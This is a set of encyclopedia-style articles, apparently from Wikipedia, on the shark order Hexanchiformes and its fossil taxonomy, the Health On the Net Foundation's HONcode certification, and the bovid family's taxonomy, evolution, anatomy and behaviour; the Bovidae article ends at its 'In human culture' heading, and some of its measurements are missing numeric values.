Hexanchiform sharks have only one dorsal fin, either six or seven gill slits, and no nictitating membrane in the eyes. Shark teeth similar to those modern hexanchids are known from Devonian deposits in Antarctica and Australia, as well as Permian deposits in Japan. If these are in fact hexanchids, this may be the only extant order of elasmobranchs to have survived after the Permian extinction (and by extension, the oldest extant order of elasmobranchs).
The frilled sharks of the genus Chlamydoselachus are very different from the cow sharks, and have been proposed to be moved to a distinct order, Chlamydoselachiformes.
Classification
Living species
Family Chlamydoselachidae Garman 1884 (frilled sharks)
Chlamydoselachus Garman, 1884
Chlamydoselachus africana Ebert & Compagno, 2009 (Southern African frilled shark)
Chlamydoselachus anguineus Garman, 1884 (frilled shark)
Family Hexanchidae J. E. Gray 1851 (cow sharks)
Heptranchias Rafinesque, 1810
Heptranchias perlo (Bonnaterre, 1788) (sharpnose sevengill shark)
Hexanchus Rafinesque, 1810
Hexanchus griseus (Bonnaterre, 1788) (bluntnose sixgill shark)
Hexanchus nakamurai Teng, 1962 (bigeyed sixgill shark)
Hexanchus vitulus Daly-Engel, 2018 (Atlantic sixgill shark)
Notorynchus Ayres, 1855
Notorynchus cepedianus (Péron, 1807) (broadnose sevengill shark)
Extinct species
Family Chlamydoselachidae
Chlamydoselachus Garman, 1884
Chlamydoselachus bracheri Pfeil, 1983
Chlamydoselachus fiedleri Pfeil, 1983
Chlamydoselachus garmani Welton, 1983
Chlamydoselachus goliath Antunes & Cappetta, 2002
Chlamydoselachus gracilis Antunes & Cappetta, 2002
Chlamydoselachus keyesi Mannering & Hiller, 2008
Chlamydoselachus landinii Carrillo-Briceño, Aguilera & Rodriguez, 2014
Chlamydoselachus lawleyi Davis, 1887
Chlamydoselachus tatere Consoli, 2008
Chlamydoselachus thomsoni Richter & Ward, 1990
Chlamydoselachus tobleri Leriche, 1929
Proteothrinax Pfeil, 1983
Proteothrinax baumgartneri Pfeil, 1983
Family Crassonotidae
Crassodontidanus Kriwet & Klug, 2011
Crassodontidanus serratus Fraas, 1855
Crassodontidanus wiedenrothi Thies, 1983
Notidanoides Maisey, 1986
Notidanoides muensteri Agassiz, 1843
Notidanus Cuvier, 1816
Notidanus amalthei Oppel, 1854
Notidanus atrox Ameghino, 1899
Notidanus intermedius Wagner, 1862
Notidanus nikitini Chabakov & Zonov, 1935
Pachyhexanchus Cappetta, 1990
Pachyhexanchus pockrandti Ward & Thies, 1987
Family Hexanchidae
Gladioserratus Underwood, Goswami, Prasad, Verma & Flynn, 2011
Gladioserratus aptiensis Pictet, 1864
Gladioserratus dentatus Guinot, Cappetta & Adnet, 2014
Gladioserratus magnus Underwood, Goswami, Prasad, Verma & Flynn, 2011
Heptranchias Rafinesque, 1810
Heptranchias ezoensis Applegate & Uyeno, 1968
Heptranchias howellii Reed, 1946
Heptranchias karagalensis Kozlov in Zhelezko & Kozlov, 1999
Heptranchias tenuidens Leriche, 1938
Hexanchus Rafinesque, 1810
Hexanchus agassizi Cappetta, 1976
Hexanchus andersoni Jordan, 1907
Hexanchus casieri Kozlov, 1999
Hexanchus collinsonae Ward, 1979
Hexanchus gracilis Davis, 1887
Hexanchus hookeri Ward, 1979
Hexanchus microdon Agassiz, 1843
Hexanchus tusbairicus Kozlov in Zhelezko & Kozlov, 1999
Notidanodon Cappetta, 1975
Notidanodon brotzeni Siverson, 1995
Notidanodon dentatus Woodward, 1886
Notidanodon lanceolatus Woodward, 1886
Notidanodon loozi Vincent, 1876
Notidanodon pectinatus Agassiz, 1843
Notorynchus Ayres, 1855
Notorynchus borealus Jordan & Hannibal, 1923
Notorynchus kempi Ward, 1979
Notorynchus lawleyi Cigala Fulgosi, 1983
Notorynchus primigenius Agassiz, 1843
Notorynchus serratissimus Agassiz, 1843
Notorynchus subrecurvus Oppenheimer, 1907
Pachyhexanchus Cappetta, 1990
Pachyhexanchus pockrandti Ward & Thies, 1987
Paraheptranchias Pfeil, 1981
Paraheptranchias repens Probst, 1879
Pseudonotidanus Underwood & Ward, 2004
Pseudonotidanus semirugosus Underwood & Ward, 2004
Welcommia Cappetta, 1990
Welcommia bodeuri Cappetta, 1990
Welcommia cappettai Klug & Kriwet, 2010
Weltonia Ward, 1979
Weltonia ancistrodon Arambourg, 1952
Weltonia burnhamensis Ward, 1979
Family Mcmurdodontidae ?
Mcmurdodus White, 1968
Mcmurdodus featherensis White, 1968
Mcmurdodus whitei Turner, & Young, 1987
Family Orthacodontidae
Occitanodus Guinot, Cappetta & Adnet, 2014
Occitanodus sudrei Guinot, Cappetta & Adnet, 2014
Orthacodus Woodward, 1889
Orthacodus longidens Agassiz, 1843
Sphenodus Agassiz, 1843
Sphenodus alpinus Gümbel, 1861
Sphenodus longidens Agassiz, 1843
Sphenodus lundgreni Davis, 1890
Sphenodus macer Quenstedt, 1852
Sphenodus nitidus Wagner, 1862
Sphenodus planus Agassiz, 1843
Sphenodus rectidens Emmons, 1858
Sphenodus robustidens Seguenza, 1900
Sphenodus tithonius Gemmellaro, 1871
Sphenodus virgai Gemmellaro, 1871
Species
See also
Time range of Hexanchiformes species
Footnotes
References
External links
(Fish Base family reference)
(Fish Base family reference)
Extant Middle Jurassic first appearances
Cartilaginous fish orders
Taxa named by Fernando de Buen y Lozano | [
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241271 | https://en.wikipedia.org/wiki/Health%20On%20the%20Net%20Foundation | Health On the Net Foundation | Health On the Net Foundation (HON) is a Geneva, Switzerland-based not-for-profit organization which promotes a code of conduct for websites providing health information and offers certificates to those in compliance.
Foundation
In 1995, 60 participants at an international health conference agreed to form a permanent body to promote the dissemination of accurate health information through technology. Health On the Net was founded under the auspices of the Geneva Department of Employment, Social Affairs and Health. It holds consultative status with the Economic and Social Council of the United Nations (ECOSOC) and a special relationship with the World Health Organization (WHO). The French National Health Authority appointed Health On the Net in 2007 as its official body to certify health websites based in France.
As a "Liaison A" to the International Organization for Standardization (ISO) Health Informatics Technical Committee (ISO/TC 215), Health On the Net contributes to the elaboration of standards developed by the committee.
Health On the Net offers an array of tools and services, including the HON Code of Conduct and its certification process; the Khresmoi and HONselect search engines; Provisu.ch, a database of health information on eye diseases, accessible by those with poor or no vision; and Santeromande.ch, a database directed towards French speakers in Switzerland and France, providing health information and a directory of registered health professionals and organisations.
Certification
HON Foundation issued a code of conduct (HONcode) for medical and health websites to address reliability and usefulness of medical information on the Internet. The principles of the HONcode are:
Authority – information and advice given only by medical professionals with credentials of author/s, or a clear statement if this is not the case
Complementarity – information and help are to support, not replace, patient-healthcare professional relationships which is the desired means of contact
Confidentiality – how the site treats personal and non-personal information of readers
Attribution – references to source of information (URL if available) and when it was last updated
Justifiability – any treatment, product or service must be supported by balanced, well-referenced scientific information
Transparency of authorship – contact information, preferably including email addresses, of authors should be available
Transparency of sponsorship – sources of funding for the site
Honesty in advertising and editorial policy – details about advertising on the site and clear distinction between advertised and editorial material
Each principle also has a Web 2.0 component in order to address the evolution of the Web in terms of information provision, including social media use.
HONCode is not designed to rate the veracity of the information provided by a website. Rather, the code only states that the site holds to the standards, so that readers can know the source and purpose of the medical information presented. The HONcode is voluntary, which means that webmasters and information providers apply for HONcode certification. Following this, the website is reviewed by a specialized team of health and legal professionals. The HONcode certification is dynamic and is renewed yearly according to site compliance. The first year of certification is free of charge. However, the new recertification process, started in 2014 when the Foundation’s government sponsors required the Foundation to develop its financial independence, requires a financial contribution from the sites requesting recertification. The fees are as follows: €50 for non-profits with little visibility, €160 for sites with high visibility, and €325 for commercial websites. Visibility is determined by the website's Alexa ranking.
There are currently more than 8,000 HONcode certified websites, including WebMD, Everyday Health, Drugs.com, and Healthline. The HONcode has been translated into 35 languages. It is the oldest and the most used code for medical and health-related information on the internet.
Research has shown that the HONcode is an indicator of reliability of health information. Additional studies demonstrate that websites using the HONcode quality standards are more reliable than those that do not. Additionally, the HONcode has been identified as an indicator of accuracy. Certified health pages have a statistically representative higher quality score than health websites that were not certified, with one going so far as to say that "the results of their analysis have shown a quality score that is statistically superior for HON-certified sites proving that even if it is imperfect, this label remains a coherent and trustworthy tool.” (Translated from the French: “Les résultats de notre analyse ont montré un score de qualité statistiquement supérieur pour les sites certifiés HON prouvant que, même si imparfait, ce label reste un outil cohérent et fiable.")
Limits and criticism
The HONcode only applies to a website’s editorial processes and details, not to the actual published contents. The term "certification" can be misleading to the general public, as it can imply that the contents of the website are trustworthy, reliable or otherwise independent. However, because the certification process is based on both self-declaration of adherence to the principles and assessment by a HONcode expert verifying that this is the case, it is not possible for a site to be initially certified if it does not meet the HONcode principles.
However, it is possible for a certified site to change its content such that it no longer meets the certification criteria. While website owners are required to inform HON of any fundamental changes to their website during periods between certification and recertification, this is not always the case. Thus a site may be listed as certified when it no longer is. This is addressed at latest during the recertification process, or earlier if HON is notified that the site no longer meets certification standards. The HONcode is considered a useful guide and for some it provides the best overall guidance compared to other tools, but in the end the reliability of the information is also dependent on the information provider.
The HONcode principles themselves are subject to criticism, with some experts indicating they are not adapted to modern Internet usages and do not follow their own rules. In response to those limitations, one previously certified website has decided to no longer display the Health On the Net logo.
Yet greater awareness of the HONcode and its certification process is needed, with the authors of one study highlighting the need “to broadcast the relevance of HON certification so that creditable medical health information could be published online”.
HONcode misuse
In 2000 a journal article raised a number of problems with the HONcode logo, indicating that consumers may mistake it as an award or interpret it as an indicator for assessed information. Other issues with the HONcode logo were discussed in the Journal of Medical Internet Research, a peer-reviewed eHealth journal. Websites that are not in compliance with HONcode can continue to display the seal, as Health On the Net Foundation (HON) has no means of forcing the offending webmaster to remove the certification seal. However, as the certification seal is active and dynamic, leading to a page on HON servers with the date of the certification’s validity and the status of certification in real time, the link from websites will lead to the page showing that the site is no longer in compliance – i.e. that it is either being reassessed or the certification has been revoked. This is indicated in real time. It is, however, possible for the site to retain the logo without the click through. Thus users should be aware that if the seal is not clickable, the site is no longer in compliance and is misusing the logo.
Consumer protection advocate Stephen Barrett has been a strong supporter of the HONcode and has made efforts to improve compliance with its rules and to expose those who misuse it. A 2004 special supplement to The Washington Post provides coverage of his views on the subject, including suggested improvements and his criticisms of many named misusers.
The HONcode relies on noncompliance being reported by consumers. In cases of suspected fraudulent websites or of misuse of the HONcode, HON advises internet users to alert Quackwatch or HON itself through the complaint mechanism on the HON website: "If you come across a healthcare Web site that you believe is either possibly or blatantly fraudulent and does NOT display the HONcode, please alert Quackwatch. Of course, if such a site DOES display the HONcode, alert us immediately."
Other problems with the application of the HONcode principles are that HON does not have a means of verifying many of the principles, such as credentials (medical or otherwise) as stated on websites displaying the logo, or that copyright or confidentiality is not violated by webmasters.
References
External links
Health On the Net website
JMIR article
Provisu website
Santeromande website
Presentation of HONcode on French National Authority website
Policing the HONcode
Health charities
Medical and health organisations based in Switzerland
Health informatics organizations
Health websites
Organisations based in Geneva
Non-profit organisations based in Switzerland
Foundations based in Switzerland
Medical and health foundations | [
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241281 | https://en.wikipedia.org/wiki/Bovidae | Bovidae | The Bovidae comprise the biological family of cloven-hoofed, ruminant mammals that includes cattle, bison, buffalo, antelopes, and goat-antelopes. A member of this family is called a bovid. With 143 extant species and 300 known extinct species, the family Bovidae consists of two major subfamilies and twelve major tribes. The family evolved 20 million years ago, in the early Miocene.
The bovids show great variation in size and pelage colouration. Excepting some domesticated forms, all male bovids have two or more horns, and in many species, females possess horns, too. The size and shape of the horns vary greatly, but the basic structure is always one or more pairs of simple bony protrusions without branches, often having a spiral, twisted or fluted form, each covered in a permanent sheath of keratin. Most bovids bear 30 to 32 teeth.
Most bovids are diurnal. Social activity and feeding usually peak during dawn and dusk. Bovids typically rest before dawn, during midday, and after dark. They have various methods of social organisation and social behaviour, which are classified into solitary and gregarious behaviour. Bovids use different forms of vocal, olfactory, and tangible communication. Most species alternately feed and ruminate throughout the day. While small bovids forage in dense and closed habitat, larger species feed on high-fiber vegetation in open grasslands. Most bovids are polygynous. Mature bovids mate at least once a year and smaller species may even mate twice. In some species, neonate bovids remain hidden for a week to two months, regularly nursed by their mothers; in other species, neonates are followers, accompanying their dams, rather than tending to remain hidden.
The greatest diversities of bovids occur in Africa. The maximum concentration of species is in the savannas of eastern Africa. Other bovid species also occur in Europe, Asia, and North America. Bovidae includes three of the five domesticated mammals whose use has spread outside their original ranges, namely cattle, sheep, and goats. Dairy products such as milk, butter, and cheese are manufactured largely from domestic cattle. Bovids are also raised for their leather, meat, and wool.
Etymology
The name "Bovidae" was given by the British zoologist John Edward Gray in 1821. The word "Bovidae" is the combination of the prefix bov- (originating from Latin bos, "ox", through Late Latin bovinus) and the suffix -idae.
Taxonomy
The family Bovidae is placed in the order Artiodactyla (which includes the even-toed ungulates). It includes 143 extant species, accounting for nearly 55% of the ungulates, and 300 known extinct species.
Until the beginning of the 21st century it was understood that the family Moschidae (musk deer) was sister to Cervidae. However, a 2003 phylogenetic study by Alexandre Hassanin (of National Museum of Natural History, France) and colleagues, based on mitochondrial and nuclear analyses, revealed that Moschidae and Bovidae form a clade sister to Cervidae. According to the study, Cervidae diverged from the Bovidae-Moschidae clade 27 to 28 million years ago. The following cladogram is based on the 2003 study.
Molecular studies have supported monophyly in the family Bovidae (a group of organisms comprises an ancestral species and all their descendants). The number of subfamilies in Bovidae is disputed, with suggestions of as many as ten and as few as two subfamilies. However, molecular, morphological and fossil evidence indicates the existence of eight distinct subfamilies: Aepycerotinae (consisting of just the impala), Alcelaphinae (bontebok, hartebeest, wildebeest and relatives), Antilopinae (several antelopes, gazelles, and relatives), Bovinae (cattle, buffaloes, bison and other antelopes), Caprinae (goats, sheep, ibex, serows and relatives), Cephalophinae (duikers), Hippotraginae (addax, oryx and relatives) and Reduncinae (reedbuck and kob antelopes). In addition, three extinct subfamilies are known: Hypsodontinae (mid-Miocene), Oiocerinae (Turolian) and the subfamily Tethytraginae, which contains Tethytragus (mid-Miocene).
In 1992, Alan W. Gentry of the Natural History Museum, London divided the eight major subfamilies of Bovidae into two major clades on the basis of their evolutionary history: the Boodontia, which comprised only the Bovinae, and the Aegodontia, which consisted of the rest of the subfamilies. Boodonts have somewhat primitive teeth, resembling those of oxen, whereas aegodonts have more advanced teeth like those of goats.
A controversy exists about the recognition of Peleinae and Pantholopinae, comprising the genera Pelea and Pantholops respectively, as subfamilies. In 2000, American biologist George Schaller and palaeontologist Elisabeth Vrba suggested the inclusion of Pelea in Reduncinae, though the grey rhebok, the sole species of Pelea, is highly different from kobs and reduncines in morphology. Pantholops, earlier classified in the Antilopinae, was later placed in its own subfamily, Pantholopinae. However, molecular and morphological analysis supports the inclusion of Pantholops in Caprinae.
Below is a cladogram based on Yang et al., 2013 and Calamari, 2021:
Alternatively, all members of the Aegodontia, can be classified within the subfamily Antilopinae, with the individual subfamilies being tribes in this treatment.
Evolution
Early Miocene and before
In the early Miocene, bovids began diverging from the cervids (deer) and giraffids. The earliest bovids, whose presence in Africa and Eurasia in the latter part of early Miocene (20 Mya) has been ascertained, were small animals, somewhat similar to modern gazelles, and probably lived in woodland environments. Eotragus, the earliest known bovid, weighed and was nearly the same in size as the Thomson's gazelle. Early in their evolutionary history, the bovids split into two main clades: Boodontia (of Eurasian origin) and Aegodontia (of African origin). This early split between Boodontia and Aegodontia has been attributed to the continental divide between these land masses. When these continents were later rejoined, this barrier was removed, and either group expanded into the territory of the other. The tribes Bovini and Tragelaphini diverged in the early Miocene. Bovids are known to have reached the Americas in the Pleistocene by crossing the Bering land bridge.
The present genera of Alcelaphinae appeared in the Pliocene. The extinct Alcelaphine genus Paramularius, which was the same in size as the hartebeest, is believed to have come into being in the Pliocene, but became extinct in the middle Pleistocene. Several genera of Hippotraginae are known since the Pliocene and Pleistocene. This subfamily appears to have diverged from the Alcelaphinae in the latter part of early Miocene. The Bovinae are believed to have diverged from the rest of the Bovidae in the early Miocene. The Boselaphini became extinct in Africa in the early Pliocene; their latest fossils were excavated in Langebaanweg (South Africa) and Lothagam (Kenya).
Middle Miocene
The middle Miocene marked the spread of the bovids into China and the Indian subcontinent. According to Vrba, the radiation of the subfamily Alcelaphinae began in the latter part of middle Miocene. The Caprinae tribes probably diverged in the early middle Miocene. The Caprini emerged in the middle Miocene, and seem to have been replaced by other bovids and cervids in Eurasia. The earliest fossils of the antilopines are from the middle Miocene, though studies show the existence of the subfamily from the early Miocene. Speciation occurred in the tribe Antilopini during the middle or upper Miocene, mainly in Eurasia. Tribe Neotragini seems to have appeared in Africa by the end of Miocene, and had become widespread by the Pliocene.
Late Miocene
By the late Miocene, around 10 Mya, the bovids rapidly diversified, leading to the creation of 70 new genera. This late Miocene radiation was partly because many bovids became adapted to more open, grassland habitats. The Aepycerotinae first appeared in the late Miocene, and no significant difference in the sizes of the primitive and modern impala has been noted. Fossils of ovibovines, a tribe of Caprinae, in Africa date back to the late Miocene. The earliest Hippotragine fossils date back to the late Miocene, and were excavated from sites such as Lothagam and Awash Valley. The first African fossils of Reduncinae date back to 6-7 Mya. Reduncinae and Peleinae probably diverged in the mid-Miocene.
Characteristics
All bovids have the similar basic form - a snout with a blunt end, one or more pairs of horns (generally present on males) immediately after the oval or pointed ears, a distinct neck and limbs, and a tail varying in length and bushiness among the species. Most bovids exhibit sexual dimorphism, with males usually larger as well as heavier than females. Sexual dimorphism is more prominent in medium- to large-sized bovids. All bovids have four toes on each foot – they walk on the central two (the hooves), while the outer two (the dewclaws) are much smaller and rarely touch the ground.
The bovids show great variation in size: the gaur can weigh more than , and stand high at the shoulder. The royal antelope, in sharp contrast, is only tall and weighs at most . The klipspringer, another small antelope, stands at the shoulder and weighs just .
Differences occur in pelage colouration, ranging from a pale white (as in the Arabian oryx) to black (as in the black wildebeest). However, only the intermediate shades, such as brown and reddish brown (as in the reedbuck), are commonly observed. In several species, females and juveniles exhibit a light-coloured coat, while those of males darken with age. As in the wildebeest, the coat may be marked with prominent or faint stripes. In some species such as the addax, the coat colour can vary by the season. Scent glands and sebaceous glands are often present.
Some species, such as the gemsbok, sable antelope, and Grant's gazelle, are camouflaged with strongly disruptive facial markings that conceal the highly recognisable eye. Many species, such as gazelles, may be made to look flat, and hence to blend into the background, by countershading. The outlines of many bovids are broken up with bold disruptive colouration, the strongly contrasting patterns helping to delay recognition by predators. However, all the Hippotraginae (including the gemsbok) have pale bodies and faces with conspicuous markings. The zoologist Tim Caro describes this as difficult to explain, but given that the species are diurnal, he suggests that the markings may function in communication. Strongly contrasting leg colouration is common only in the Bovidae, where for example Bos, Ovis, bontebok and gemsbok have white stockings. Again, communication is the likely function.
Excepting some domesticated forms, all male bovids have horns, and in many species, females, too, possess horns. The size and shape of the horns vary greatly, but the basic structure is a pair of simple bony protrusions without branches, often having a spiral, twisted, or fluted form, each covered in a permanent sheath of keratin. Although horns occur in a single pair on almost all bovid species, there are exceptions such as the four-horned antelope and the Jacob sheep. The unique horn structure is the only unambiguous morphological feature of bovids that distinguishes them from other pecorans. A high correlation exists between horn morphology and fighting behaviour of the individual. For instance, long horns are intended for wrestling and fencing, whereas curved horns are used in ramming. Males with horns directed inwards are monogamous and solitary, while those with horns directed outwards tend to be polygynous. These results were independent of body size.
Male horn development has been linked to sexual selection, Horns are small spikes in the monogamous duikers and other small antelopes, whereas in the polygynous, they are large and elaborately formed (for example in a spiral structure, as in the giant eland). Thus, to some extent, horns depict the degree of competition among males in a species. However, the presence of horns in females is likely due to natural selection. The horns of females are usually smaller than those of males, and are sometimes of a different shape. The horns of female bovids are believed to have evolved for defence against predators or to express territoriality, as nonterritorial females, which are able to use crypsis for predator defence, often do not have horns. Females possess horns only in half of the bovid genera, and females in these genera are heavier than those in the rest. Females use horns mainly for stabbing.
Anatomy
In bovids, the third and fourth metapodials are combined into the cannon bone. The ulna and fibula are reduced, and fused with the radius and tibia, respectively. Long scapulae are present, whereas the clavicles are absent. Being ruminants, the stomach is composed of four chambers: the rumen (80%), the omasum, the reticulum, and the abomasum. The ciliates and bacteria of the rumen ferment the complex cellulose into simpler fatty acids, which are then absorbed through the rumen wall. Bovids have a long small intestine; the length of the small intestine in cattle is . Body temperature fluctuates through the day; for instance, in goats the temperature can change slightly from nearly in the early morning to in the afternoon. Temperature is regulated through sweating in cattle, whereas goats use panting for the same. The right lung, consisting of four to five lobes, is around 1.5 times larger than the left, which has three lobes.
Dentition
Most bovids bear 30 to 32 teeth. While the upper incisors are absent, the upper canines are either reduced or absent. Instead of the upper incisors, bovids have a thick and tough layer of tissue, called the dental pad, that provides a surface to grip grasses and foliage. They are hypsodont and selenodont, since the molars and premolars are low-crowned and crescent-shaped cusps. The lower incisors and canines project forward. The incisors are followed by a long toothless gap, known as the diastema. The general dental formula for bovids is . Most members of the family are herbivorous, but most duikers are omnivorous. Like other ruminants, bovids have four-chambered stomachs, which allow them to digest plant material, such as grass, that cannot be used by many other animals. Ruminants (and some others like kangaroos, rabbits, and termites) are able to use micro-organisms living in their guts to break down cellulose by fermentation.
Ecology and behaviour
The bovids have various methods of social organisation and social behaviour, which are classified into solitary and gregarious behaviour. Further, these types may each be divided into territorial and nonterritorial behaviour. Small bovids such as the klipspringer, oribi, and steenbok are generally solitary and territorial. They hold small territories into which other members of the species are not allowed to enter. These antelopes form monogamous pairs. Many species such as the dik-dik use pheromone secretions from the preorbital glands and sometimes dung, as well, to mark their territories. The offspring disperse at the time of adolescence, and males must acquire territories prior to mating. The bushbuck is the only bovid that is both solitary and not territorial. This antelope hardly displays aggression, and tends to isolate itself or form loose herds, though in a favourable habitat, several bushbuck may be found quite close to one another.
Excluding the cephalophines (duikers), tragelaphines (spiral-horned antelopes) and the neotragines, most African bovids are gregarious and territorial. Males are forced to disperse on attaining sexual maturity, and must form their own territories, while females are not required to do so. Males that do not hold territories form bachelor herds. Competition takes place among males to acquire dominance, and fights tend to be more rigorous in limited rutting seasons. With the exception of migratory males, males generally hold the same territory throughout their lives. In the waterbuck, some male individuals, known as "satellite males", may be allowed into the territories of other males and have to wait till the owner grows old so they may acquire his territory. Lek mating, where males gather together and competitively display to potential mates, is known to exist among topis, kobs, and lechwes. The tragelaphines, cattle, sheep, and goats are gregarious and not territorial. In these species, males must gain absolute dominance over all other males, and fights are not confined to territories. Males, therefore, spend years in body growth.
Activity
Most bovids are diurnal, although a few such as the buffalo, bushbuck, reedbuck, and grysbok are exceptions. Social activity and feeding usually peak during dawn and dusk. The bovids usually rest before dawn, during midday, and after dark. Grooming is usually by licking with the tongue. Rarely do antelopes roll in mud or dust. Wildebeest and buffalo usually wallow in mud, whereas the hartebeest and topi rub their heads and horns in mud and then smear it over their bodies. Bovids use different forms of vocal, olfactory, and tangible communication. These involve varied postures of neck, head, horns, hair, legs, and ears to convey sexual excitement, emotional state, or alarm. One such expression is the flehmen response. Bovids usually stand motionless, with the head high and an intent stare, when they sense danger. Some like the impala, kudu, and eland can even leap to heights of a few feet. Bovids may roar or grunt to caution others and warn off predators. Bovids such as gazelles stot or pronk in response to predators, making high leaps on stiff legs, indicating honestly both that the predator has been seen, and that the stotting individual is strong and not worth chasing.
In the mating season, rutting males bellow to make their presence known to females. Muskoxen roar during male-male fights, and male saigas force air through their noses, producing a roar to deter rival males and attract females. Mothers also use vocal communication to locate their calves if they get separated. During fights over dominance, males tend to display themselves in an erect posture with a level muzzle.
Fighting techniques differ amongst the bovid families and also depend on their build. While the hartebeest fight on knees, others usually fight on all fours. Gazelles of various sizes use different methods of combat. Gazelles usually box, and in serious fights may clash and fence, consisting of hard blows from short range. Ibex, goat and sheep males stand upright and clash into each other downwards. Wildebeest use powerful head butting in aggressive clashes. If horns become entangled, the opponents move in a circular manner to unlock them. Muskoxen will ram into each other at high speeds. As a rule, only two bovids of equal build and level of defence engage in a fight, which is intended to determine the superior of the two. Individuals that are evidently inferior to others would rather flee than fight; for example, immature males do not fight with the mature bulls. Generally, bovids direct their attacks on the opponent's head rather than its body. The S-shaped horns, such as those on the impala, have various sections that help in ramming, holding, and stabbing. Serious fights leading to injury are rare.
Diet
Most bovids alternately feed and ruminate throughout the day. While those that feed on concentrate feed and digest in short intervals, the roughage feeders take longer intervals. Only small species such as the duiker browse for a few hours during day or night. Feeding habits are related to body size; while small bovids forage in dense and closed habitat, larger species feed upon high-fiber vegetation in open grasslands.
Subfamilies exhibit different feeding strategies. While Bovinae species graze extensively on fresh grass and diffused forage, Cephalophinae species (with the exception of Sylvicapra) primarily consume fruits. Reduncinae and Hippotraginae species depend on unstable food sources, but the latter are specially adapted to arid areas. Members of Caprinae, being flexible feeders, forage even in areas with low productivity. Tribes Alcelaphini, Hippotragini, and Reduncini have high proportions of monocots in their diets. On the contrary, Tragelaphini and Neotragini (with the exception of Ourebia) feed extensively on dicots. No conspicuous relationship exists between body size and consumption of monocots.
Sexuality and reproduction
Most bovids are polygynous. In a few species, individuals are monogamous, resulting in minimal male-male aggression and reduced selection for large body size in males. Thus, sexual dimorphism is almost absent. Females may be slightly larger than males, possibly due to competition among females for the acquisition of territories. This is the case in duikers and other small bovids. The time taken for the attainment of sexual maturity by either sex varies broadly among bovids. Sexual maturity may even precede or follow mating. For instance, the impala males, though sexually mature by a year, can mate only after four years of age. On the contrary barbary sheep females may give birth to offspring even before they have gained sexual maturity. The delay in male sexual maturation is more visible in sexually dimorphic species, particularly the reduncines, probably due to competition among males. For instance, the blue wildebeest females become capable of reproduction within a year or two of birth, while the males become mature only when four years old.
All bovids mate at least once a year, and smaller species may even mate twice. Mating seasons occur typically during the rainy months for most bovids. As such, breeding might peak twice in the equatorial regions. The sheep and goats exhibit remarkable seasonality of reproduction, in the determination of which the annual cycle of daily photoperiod plays a pivotal role. Other factors that have a significant influence on this cycle include the temperature of the surroundings, nutritional status, social interactions, the date of parturition and the lactation period. A study of this phenomenon concluded that goats and sheep are short-day breeders. Mating in most sheep breeds begins in summer or early autumn. Mating in sheep is also affected by melatonin, that advances the onset of the breeding season; and thyroxine, that terminates the breeding season. Estrus lasts for at most a day in bovids, with the exception of bovines and tragelaphines. Except for the hartebeest and the topi, all bovids can detect estrus in females by testing the urine using the vomeronasal organ. Once the male is assured that the female is in estrus, he begins courtship displays; these displays vary greatly from the elaborate marches among gregarious species to the fervent licking of female genitalia among solitary species. Females, initially not receptive, ultimately mates with the male which has achieved dominance over others. Receptiveness is expressed by permission for mounting by the male and setting aside the tail by the female. Copulation generally takes a few seconds.
Gestational period varies among bovids - while duiker gestation ranges from 120 to 150 days, gestation in African buffalo ranges from 300 to 330 days. Usually, a single offspring is born (twins are less frequent), and it is able to stand and run by itself within an hour of birth. In monogamous species, males assist in defending their young, but that is not the case in polygynous species. Most newborn calves remain hidden for a week to two months, regularly nursed by their mothers. In some bovid species, the neonates start following about their mothers immediately or within a few days, as in the impala. Different bovids have different strategies for the defence of juveniles. For instance, while wildebeest mothers solely defend their young, buffaloes exhibit collective defence. Weaning might occur as early as two months (as in royal antelope) or as late as a year (as in muskox).
Lifespan
Most wild bovids live for 10 to 15 years. Larger species tend to live longer; for instance, American bison can live up to 25 years and gaur up to 30 years. The mean lifespan of domesticated individuals is nearly ten years. For example, domesticated goats have an average lifespan of 12 years.
Usually males, mainly in polygynous species, have shorter lifespans than females. This can be attributed to several reasons: early dispersal of young males, aggressive male-male fights, vulnerability to predation (particularly when males are less agile, as in kudu), and malnutrition (being large in size, the male body has high nutritional requirements which may not be satisfied). Richard Despard Estes suggested that females mimic male secondary sexual characteristics like horns to protect their male offspring from dominant males. This feature seems to have been strongly selected to prevent male mortality and imbalanced sex ratios due to attacks by aggressive males and forced dispersal of young males during adolescence.
Distribution
Most of the diverse bovid species occur in Africa. The maximum concentration is in the savannas of eastern Africa. Depending on their feeding habits, several species have radiated over large stretches of land, and hence several variations in dental and limb morphology are observed. Duikers inhabit the equatorial rainforests, sitatunga, and lechwe occur near swamps, eland inhabit grasslands, springbok and oryx occur in deserts, bongo and anoa live in dense forests, and mountain goats and takin live at high altitudes. A few bovid species also occur in Europe, Asia, and North America. Sheep and goats are found primarily in Eurasia, though the Barbary sheep and the ibex form part of the African fauna. The muskox is confined to the arctic tundra. Several bovid species have been domesticated by human beings. The domestication of goats and sheep began 10 thousand years ago, while cattle were domesticated about 7.5 thousand years ago.
Interaction with humans
Domesticated animals
The domestication of bovids has contributed to shifting the dependence of human beings from hunting and gathering to agriculture. The Bovidae includes three of the six large domesticated herbivores whose use has spread outside their original ranges, namely cattle, sheep, and goats; all are from Eurasia, and are now found across the world. The other three species are the horse, donkey, and pig. Other large bovids that have been domesticated but which remain within the ranges of their wild ancestors are the water buffalo (from the Indian water buffalo), domestic yak (from the wild yak), zebu (from the Indian aurochs), gayal (from the gaur) and Bali cattle (from the banteng).
Some antelopes have been domesticated including the oryxes, addax, elands and the extinct bubal hartebeest. In Ancient Egypt oryxes, addaxes and bubal hartebeests are depicted in carved walls.
The earliest evidence of cattle domestication is from 8000 BC, suggesting that the process began in Cyprus and the Euphrates basin.
Animal products
Dairy products such as milk, butter, ghee, yoghurt, buttermilk and cheese are manufactured largely from domestic cattle, though the milk of sheep, goat, yak, and buffalo is also used in some parts of the world and for gourmet products. For example, buffalo milk is used to make mozzarella in Italy and gulab jamun dessert in India, while sheep milk is used to make blue Roquefort cheese in France.
Beef is an excellent source of zinc, selenium, phosphorus, iron, and B vitamins. Bison meat is lower in fat and cholesterol than beef, but has a higher protein content.
Bovid leather is tough and durable, with the additional advantage that it can be made into leathers of varying thicknesses - from soft clothing leather to hard shoe leather. While goat and cattle leather have a wide variety of use, sheepskin is suited only for clothing purposes. Wool from Merino hoggets is the finest and most valuable. Merino wool is long and very soft. Coarse wools, being durable and resistant to pilling, are used for making tough garments and carpets.
Bone meal is an important fertilizer rich in calcium, phosphorus, and nitrogen, effective in removing soil acidity. Bovid horns have been used as drinking vessels since antiquity.
In human culture
